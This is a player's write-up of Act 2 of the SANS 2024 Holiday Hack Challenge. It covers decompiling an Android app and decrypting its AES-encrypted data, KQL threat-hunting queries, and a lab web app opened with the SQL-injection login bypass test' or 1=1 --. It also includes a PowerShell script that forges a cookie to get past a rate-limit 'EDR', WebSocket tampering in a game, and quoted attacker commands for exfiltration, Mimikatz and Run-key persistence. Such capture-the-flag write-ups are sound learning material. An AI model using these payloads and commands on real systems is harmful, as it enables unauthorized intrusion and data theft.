SANS 2024 Holiday Hack Challenge - Act 2
Continuing the challenge after the Prologue and Act 1 this set of challenges is set in the North Pole DMZ it seems.
Mobile Analysis
Eve Snowhoses has provided us with a debug and release version of an Android app called Santa Swipe for managing the Naughty/Nice List. The first task is to find which child's name was left off the Naughty and Nice List in the debug version. The debug version is provided as an APK while the release one is provided as an AAB.
Debug Version
First, I loaded the APK into JADX for analysis. In assets/index.html
we can see some functions to get the list items. So, we can probably use these as clues to search through the code.
Searching the code in JADX for getNormalList
we find some associated code in the com/northpole.santawipe/MainActivity
file that seems to indicate the data is coming from an SQLite database.
Sure enough, looking in com/northpole.santawipe/DatabaseHelper
we can see the database setup commands.
As it turns out, the answer was in the screenshot 2 above in the SQL statement I mentioned. For some reason, poor Ellie is filtered out of the results. This earns the silver achievement for mobile analysis.
Release/Secure Version
This version is only provided as an AAB. The first step is to convert the AAB to an APK. You can do this with the bundletool
available here. Then run the tool as described in this StackOverflow article
java -jar bundletool-all-1.17.2.jar build-apks --bundle=~/hhc2024/SantaSwipeSecure.aab --output=~/hhc2024/SantaSwipeSecure.apks --mode=universal
Then, from the link in the hints, you can simply change the resultant apks
file to a zip
file, unzip, and find a normal APK to do analysis on.
Inside the strings.xml
file is this tidbit that I did not see in the debug version.
Decoding this results in the text CheckMaterix
. Looking back in the same place that we got the answer before, we see that the database data is now encrypted. Perhaps we have the decryption key and just need to figure out the process. There is a function that outlines the code to do this. There are also some variable definitions early in the code that will provide us clues.
The steps I followed to piece this back together:
string
is set to the value ofek
fromstrings.xml
- rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=
- Then some string cleanup is performed and assigned to
obj
string2
is et to the value ofiv
from strings.xml- Q2hlY2tNYXRlcml4
- Then some string cleanup is performed and assigned to
obj2
decode
anddecode2
are set to the base64 decoded version ofobj
andobj2
respectively.
iv
is set to the value ofdecode2
So, with that information I should be able to decode the necessary information. After significant Googling and Gemini'ing. I got a script cobbled together to decrypt all this.
from Crypto.Cipher import AES
import base64
def decrypt_aes_gcm_no_tag(ciphertext, key, iv):
# Decode the base64 encoded ciphertext, key, and iv
ciphertext = base64.b64decode(ciphertext)
key = base64.b64decode(key)
iv = base64.b64decode(iv)
# Create AES-GCM cipher object
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
# Decrypt the ciphertext
plaintext = cipher.decrypt(ciphertext)
return plaintext
# Example usage
ciphertext = 'IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ'
key = 'rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw='
iv = 'Q2hlY2tNYXRlcml4'
decrypted_text = decrypt_aes_gcm_no_tag(ciphertext, key, iv)
print("Decrypted text:", decrypted_text)
Which results in the plaintext:
Decrypted text: b"CREATE TRIGGER DeleteIfInsertedSpecificValue\n AFTER INSERT ON NormalList\n FOR EACH ROW\n BEGIN\n DELETE FROM NormalList WHERE Item = 'KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=';\n END;\xab[t\x9eD\xc5G\x19\x9c\xdd\xdel\xdc\xfb@\x03"
Running that encrypted string through the script again...
Decrypted text: b'Joshua, Birmingham, United Kingdom\x1bvrT.\xd77\x8f\xc6D\xd4\xa57\x9et\xe4'
As a note: I tried for a LONG time to get this to work with some ready-made AES decryption tools and just could not figure it out. In this case, I have to say, AI came through!
Microsoft KC7
KQL Logs – hell yeah! But I have to make an account...womp womp.
KQL 101
I am not going to write this section up as it is a tutorial and should be followed along with.
Operation Surrender
Question 1
surrender
Question 2
surrender@northpolemail.com
Email
| where subject contains 'surrender'
Question 3
Email
| where sender == 'surrender@northpolemail.com'
| where subject contains 'surrender'
| distinct recipient
| count
22
Question 4
Email
| where sender == 'surrender@northpolemail.com'
| where subject contains 'surrender'
//link column
Team_Wombley_Surrender.doc
Question 5
Employees
| join kind=inner (
OutboundNetworkEvents
) on $left.ip_addr == $right.src_ip // condition to match rows
| where url contains "Team_Wombley_Surrender.doc"
| project name, ip_addr, url, timestamp // project returns only the information you select
| sort by timestamp asc //sorts time ascending
Joyelle Tinseltoe
Question 6
let joyelleHostname = Employees
| where name == "Joyelle Tinseltoe"
| project hostname;
ProcessEvents
| where hostname in (joyelleHostname)
| where timestamp between (datetime('2024-11-27T14:11:45') .. datetime('2024-11-27T14:28:45'))
keylogger.exe
Question 7
let flag = "keylogger.exe";
let base64_encoded = base64_encode_tostring(flag);
print base64_encoded
a2V5bG9nZ2VyLmV4ZQ==
Operation Snowfall
Question 1
Simply type the phrase to continue.
Question 2
Using the provided query:
AuthenticationEvents
| where result == "Failed Login"
| summarize FailedAttempts = count() by username, src_ip, result
| where FailedAttempts >= 5
| sort by FailedAttempts desc
We can see that IP 59.171.58.12
has a very high number of failed logins.
Question 3
AuthenticationEvents
| summarize FailedAttempts = count() by username, src_ip, result
| where src_ip == "59.171.58.12"
| where result != "Failed Login"
| distinct username
| count
23
Question 4
Looking at the description
column of the successful login attempts reveals that RDP was the vector.
Question 5
let alabasterHostname = Employees
| where name contains "alabaster"
| project hostname;
ProcessEvents
| where hostname in (alabasterHostname)
Looking through these events, we can see only one command where a file was moved to an external location.
copy C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip \\wocube\share\alsnowball\Secret_Files.zip
Before this action, we see a few files being staged and zipped up for extraction and then deletion of these staged files afterwards.
Question 6
With the same query from Question 5, we can see that after the files are exfiltrated, the attacker clears the event logs and then runs C:\Windows\Users\alsnowball\EncryptEverything.exe
Question 7
Base64 encode the previous answer.
Echoes in the Frost
Question 1
Type the phrase to continue.
Question 2
Email
| where subject contains 'breach'
| sort by timestamp asc
The timestamp of the first email with a subject containing breach
is 2024-12-12T14:48:55Z
Question 3
// Get Noel's IP Address
let noelIp = Employees
| where name == 'Noel Boetie'
| distinct ip_addr;
OutboundNetworkEvents
// Filter to events from Noel's machine
| where src_ip in (noelIp)
// Only look at events after receipt of the email, answer to question 2
| where timestamp > datetime('2024-12-12T14:48:55Z')
// Look for earliest
| sort by timestamp asc
24-12-12T15:13:55Z
Question 4
PassiveDns
| where domain == 'holidaybargainhunt.io'
182.56.23.122
Question 5
Using the IP from the previous question, let's look in the AuthenticationEvents logs.
AuthenticationEvents
| where src_ip == '182.56.23.122'
"hostname": WebApp-ElvesWorkshop,
Question 6
ProcessEvents
| where hostname == 'WebApp-ElvesWorkshop'
| where timestamp >= datetime(2024-11-29T12:25:03Z)
Invoke-Mimikatz.ps1
Question 7
From question 3, we know that echo.exe
among other files were downloaded. Ultimately, they downloaded 4 files:
- echo.exe
- front.7z
- clearly.exe
- holidaycandy.hta
We want to know when the file was executed. First, I want to see what happened with these files.
let noelHostname = Employees
| where name == 'Noel Boetie'
| distinct hostname;
ProcessEvents
| where hostname in (noelHostname)
| where process_commandline has_any ('echo.exe', 'front.7z','clearly.exe','holidaycandy.hta')
The earliest timestamp is from the execution of echo.exe
seemingly through a simple double-click of the file in Explorer.
2024-12-12T15:14:38Z
Question 8
We can use the same query from Question 3 for this.
compromisedchristmastoys.com
Question 9
The questions asks if any new files were created after frosty.zip
was extracted. We can see this event with the query below and get the resultant timestamp of that event, so we know to look later than that event.
let noelHostname = Employees
| where name == 'Noel Boetie'
| distinct hostname;
ProcessEvents
| where hostname in (noelHostname)
2024-12-24T17:19:45Z
let noelHostname = Employees
| where name == 'Noel Boetie'
| distinct hostname;
FileCreationEvents
| where hostname in (noelHostname)
| where timestamp >= datetime('2024-12-24T17:19:45Z')
| sort by timestamp asc
C:\Windows\Tasks\sqlwriter.exe
first and then C:\Windows\Tasks\frost.dll
Question 10
Using the ProcessEvents
query from question 9, we can see the command line that set the registry key.
New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MS SQL Writer" -Force | New-ItemProperty -Name "frosty" -Value "C:\Windows\Tasks\sqlwriter.exe" -PropertyType String -Force
With the property name frosty
Question 11
Base64 encode the previous answer of frosty
Drone Path
This appears to be a web app that accepts log uploads for analysis. Love me some web app hacking.
Recon
First, we will start by just exploring the app and looking as what is available.
- Home
- FileShare
- Login
There is sure to be some interesting stuff here. Now I want to take a look at the requests associated with these functions. The main page just loads some scripts, but one (script.js
) seems to be loaded from local sources so might be more interesting. Tearing that file apart:
- We can see the login functionality sends requests to
/api/v1.0/elfLogin
- Other versions of the API do not do anything
- After successful login, the user is redirected to
/workshop
- Forced browsing here does not work
- Some details about the pages available in the authenticated portion of the application along with associated APIs.
/api/v1.0/drones?drone=${droneName}
/api/v1.0/drones/${droneName}/comments
- An admin console at
/admin_console
that takes a URL parametercode
- Force browsing here does not work
The FileShare link includes a link to a file called fritjolf-Path.kml
, which is essentially a coordinates file in XML/KML format. I am just going to guess this is heading towards an XML External Entity (XXE) attack (it did not).
The logon page is as expected and pretty simple but adding a single quote mark to the username triggers a 500 Internal Server Error, so we may have some SQL injection here.
KML File
Loading the KML file into Google Earth is revealing!
GUMDROP1
Not sure quite how to use this yet. This might be the login password, but I don't know a user and the method below is easier.
Turns out that this is the password for the user who created the file fritjolf
. Logging in with this user and password, there is a new file available in the Profile page. However, prior to figuring this out, I figured out the next flaw in the application.
Authentication Bypass
Trying some standard SQL payloads, I was able to bypass the authentication with the payload test' or 1=1 --
Drone Information
Now on the Workshop page, we can query information about drones. Again, SQL injection or some other injection may be the path here; a single quote triggers a 500 Internal Server Error. Using the same payload as before, we get many drone details.
The UI only shows one comment, but the backend traffic from Developer Tools shows the remaining comments. Including reference to a special file at ../files/secret/ELF-HAWK-dump.csv
There is also this potential hint in another comment: I heard a rumor that there is something fishing with some of the files. \nThere was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it.
Mysterious CSV - ELF-HAWK
Sure enough, the CSV path from above works. There are MANY columns with True/False data. Perhaps one of these is going to be the activation code binary encoded.
There is also the Lat/Long data that might do something similar to the first KML file. Using the script below, I converted this data to a KML file. Uploading to Google Earth though was not successful and just looked like the Death Star.
import csv
import simplekml
inputfile = csv.reader(open('ELF-HAWK-dump.csv','r'))
kml=simplekml.Kml()
for row in inputfile:
kml.newpoint(name=row[0], coords=[(row[4],row[5])])
kml.save('elfhawk.kml')
After a hint from another player that perhaps the coordinates were not meant for a globe, I looked closer at the coordinates data and realized that the x-axis continues to grow indicating that this indeed, will never plot right on a globe. I moved over to Python and got Copilot to generate a script to plot data points on a generic plane. After some minor massaging of the resultant script, I ended up with the script below and the answer.
import pandas as pd
import matplotlib.pyplot as plt
# Load the CSV file
file_path = 'ELF-HAWK-dump.csv'
data = pd.read_csv(file_path)
# Extract coordinates from two columns
x = data['OSD.longitude']
y = data['OSD.latitude']
# Plot the coordinates
plt.figure(figsize=(10, 6))
plt.scatter(x, y, color='blue', marker='o', s=2)
plt.title('Scatter Plot of Coordinates')
plt.xlabel('X Coordinates')
plt.ylabel('Y Coordinates')
plt.grid(True)
plt.show()
Next up is to figure out the TRUE/FALSE hint to find the Gold code. Perhaps, there is some column in here that we can key on for whether to use the data or not.
Gold
Gold on this one took me HOURS...HOURS I say. I actually started working on Gold before silver before I stepped back a bit. In my quest for Gold used a Python script to attempt the following, without success:
- Take all the TRUE/FALSE information and render it into ASCII text
- Gibberish
- Take all the TRUE/FALSE information and render it into ASCII art
- Included lots of unprintable characters
- Take all the TRUE/FALSE information and render it into ASCII pixel art
- Could not figure out the width but I could see "information"
- I went across rows
- Looked like there was some data present
- I went down columns
- Looked mostly random
- I printed the text out and resized my window to make it look right
- I wrote code snippets to print every possible width of the "image"
- And probably much more
NONE of these worked and I was getting nowhere despite being almost 100% sure one of these was the right track. Then after a break, I came back and copied the same binary I had converted earlier and dropped it into CyberChef, just as I had earlier (numerous times) and miraculously it worked. I was flabbergasted and could not initially figured out why this all of a sudden worked. Turns out the issue was that the answer image did not start at the beginning of the binary string but 6 bits in.
import pandas as pd
# Load the CSV file
file_path = 'redownload.csv'
df = pd.read_csv(file_path)
# Traditional ASCII Art
# Don't know how to decide newlines
def convert_to_ascii(value):
str = ""
for i in range(0, len(value), 8):
binc = value[i:i + 8]
num = int(binc, 2)
if chr(num).isascii():
str += chr(num)
return str
# Going row by row - this seems to have data
placeholder = ''
for index, data in df.iterrows():
for column in data:
if isinstance(column, bool):
if column:
placeholder += '1'
else:
placeholder += '0'
print(convert_to_ascii(placeholder))
Extra: User-Agent Error
In my frustration, I clicked many times at once and got this error on the Admin Console.
Error: Too many requests from this User-Agent. Limited to 1 requests per 1 seconds.
User-Agent is a weird way to rate limit people.
But this did not turn into an attack vector.
Extra: CSV - Preparations
Using the coordinates in the file and converting the tuples to comma separated values with spaces between each touple, I was able to replace the data in the fritjol
KML file with these values and put it in Google Earth. The pattern doesn't seem like much, but if you zoom in on each point, there are letter type images.
KWAH-FLE = ELF-HAWK
But I already had this drone information via other means. Sad trombone noises.
PowerShell
1)
2)
Get-Content ./welcome.txt | measure -word
180
3)
netstat - lant
1225
4)
Invoke-WebRequest http://127.0.0.1:1225
401 (Unauthoirzed)
5)
$username = "admin"
$password = "admin"
# Create a credential object
$credential = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force))
# Use the credential object with Invoke-WebRequest
$response = Invoke-WebRequest http://127.0.0.1:1225 -Credential $credential -AllowUnencryptedAuthentication
6)
1..50 | ForEach-Object { Invoke-WebRequest http://127.0.0.1:1225/endpoints/$_ -Credential $credential -AllowUnencryptedAuthentication | measure -word }
Here we can see the 13th entry has the length indicated by the question.
7)
Let's request the indicated file.
$request = Invoke-WebRequest http://127.0.0.1:1225/token_overview.csv -Credential $credential -AllowUnencryptedAuthentication; $request.Content
8)
Communicate with the one un-redacted endpoint.
$request = Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $credential -AllowUnencryptedAuthentication; $request.Content
9)
The above returns an error that we are missing a Cookie called token
. Trying with the SHA256 hash does not work but the corresponding MD5 does work.
$request = Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc'}; $request.Content
We get a response with an MFA code and indication that we should set it in the Cookie value mfa_code
.
10)
Despite the previous response indicating the Cookie value to set is mfa_code
the response when trying to validate indicates it should be mfa_token
.
$request = Invoke-WebRequest http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$ -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc; mfa_token=1732143590.373717'}; $request.Content
The response here indicates that the token is only valid for 2 seconds for security reasons, so we will need to script this together.
$mfa = (Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc'}).Links.href
$request = Invoke-WebRequest http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'="token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$($mfa)"}; $request.Content
With a successful request, we get some Base64 back.
11)
Honestly for this one, I just decoded the text out of band and pasted the result in the terminal. That seemed to work.
Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction
Gold
In order to get the correct hash, there is some trickiness that requires us to write the token value to a file before hashing. After doing this, and getting all the requests right, we are met with another protection. Then we can pass that information to the steps from Question 10
foreach ($row in $csvData) {
# Access the values in each row and compute the hash
$token = $row.file_MD5hash
$tempFile = New-TemporaryFile
$token | Out-File -FilePath $tempFile.FullName -Encoding ASCII
$hash = (Get-FileHash -Path $tempFile.FullName -Algorithm SHA256).Hash.Trim()
Remove-Item -Path $tempFile.FullName -Force
This seems to relate to one of the elf's hints about this "EDR" system, so it seems we can bypass it. Per the hint, we can see that a cookie value is set and looking at the headers of our responses, we indeed see the Cookie attempts
is set. It appears to be Base64 encoded: Set-Cookie {attempts=c25ha2VvaWwK01; Path=/}
. It also appears shared between all endpoints, as the hint indicates. This decodes to snakeoil
indicating maybe this header isn't worth much. What if we set the cookie ourselves to 0.
Doing so produces a different/new error:
Perhaps the comment above about endpoints being scrambled means we need to try each MFA code with every token. Or perhaps the EDR protection only applies to the token request endpoint?
Well, it turned out that you simply have to set the attempts
cookie higher than 10.
So the full script to complete both silver and gold is...
# 1
type welcome.txt
start-sleep 1
#2
Get-Content ./welcome.txt | measure -word
start-sleep 1
# 3
netstat - lant
start-sleep 1
# 4
Invoke-WebRequest http://127.0.0.1:1225
start-sleep 1
# 5
$username = "admin"
$password = "admin"
# Create a credential object
$credential = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force))
# Use the credential object with Invoke-WebRequest
$response = Invoke-WebRequest http://127.0.0.1:1225 -Credential $credential -AllowUnencryptedAuthentication
$response.Content
start-sleep 2
# 6
1..50 | ForEach-Object { Invoke-WebRequest http://127.0.0.1:1225/endpoints/$_ -Credential $credential -AllowUnencryptedAuthentication | measure -word }
start-sleep 1
# 7
$request = Invoke-WebRequest http://127.0.0.1:1225/token_overview.csv -Credential $credential -AllowUnencryptedAuthentication; $request.Content
$request.Content
start-sleep 2
# 8
$request = Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$reques -Credential $credential -AllowUnencryptedAuthentication; $request.Content
start-sleep 1
# 9
$request = Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$reques -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc'}; $request.Content
start-sleep 1
# 10
$mfa = (Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$reques -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc'}).Links.href
$request = Invoke-WebRequest http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$reques -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'="token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$($mfa)"}; $request.Content
start-sleep 1
# 11
# Extract paragraph tags using regular expressions
$paragraphs = [regex]::Matches($request.Content, '<p>(.*?)</p>')
# Output the text within the paragraph tags
foreach ($match in $paragraphs) {
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($match.Groups[1].Value))
}
# Gold
### Get CSV and Values
$username = "admin"
$password = "admin"
#### Create a credential object
$credential = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force))
### Request CSV
$request = Invoke-WebRequest http://127.0.0.1:1225/token_overview.csv -Credential $credential -AllowUnencryptedAuthentication
### Export CSV
$request.Content > tokens.csv
### Iterate over values and perform the request(s) from step 10
$csvData = Import-Csv -Path "tokens.csv"
foreach ($row in $csvData) {
# Access the values in each row and compute the hash
$token = $row.file_MD5hash
$tempFile = New-TemporaryFile
$token | Out-File -FilePath $tempFile.FullName -Encoding ASCII
$hash = (Get-FileHash -Path $tempFile.FullName -Algorithm SHA256).Hash.Trim()
Remove-Item -Path $tempFile.FullName -Force
# Make MFA request as in step 10 for each
$mfa = (Invoke-WebRequest http://127.0.0.1:1225/tokens/$hash -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'="token=$($token)"}).Links.href
$request = Invoke-WebRequest http://127.0.0.1:1225/mfa_validate/$hash -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'="token=$($token); mfa_token=$($mfa); attempts=11"}; $request.content
}
Snowball Showdown
A fun little game that seems to be driven primarily with WebSockets. With a very quick and hasty attempt, my first modification of the WebSockets message was met with a "CHEATING HACKER DETECTED" message.
Reviewing the game's WebSocket traffic, we have several different message types that you can also find in the games JavaScript file. Some of interest:
alWoUp
- To Client
- This show the player's positions and hit information
snowballlp
- To Server/Client
- This is the snowball through information. It includes an
isWomb
parameter that is interesting.
sbh
- To Server/Client
- Just includes an integer ID and position information
player_pos
- To Server
- Fairly self explanatory
Presumably, I am going to have to modify some of these to win the game. Specifically, you can use the snowballp
message to rapid fire snowballs with larger blast radii and at a much higher rate than the game allows. You can even set a different start position to make things a bit easier. With this, winning the game is not too difficult.
What I find interesting here is the specific wording at the bottom, as if perhaps we could force a win result. After this win, Dusty Giftwrap also hints that we might be able to dive into the game's code for a secret weapon.
Digging into the code, I decided to do a manual review of the full JavaScript file and did not find much. Next, I search for all ws.send
events, since that is what we could conceivably work with...and sure enough, I found this!
Now I just need to figure out how to invoke this. Turns out it is as simple as it looks, you simply send a WebSocket message with {'type': 'moasb'}
and shortly an Atomic Bomb of a snowball is dropped on Wombley.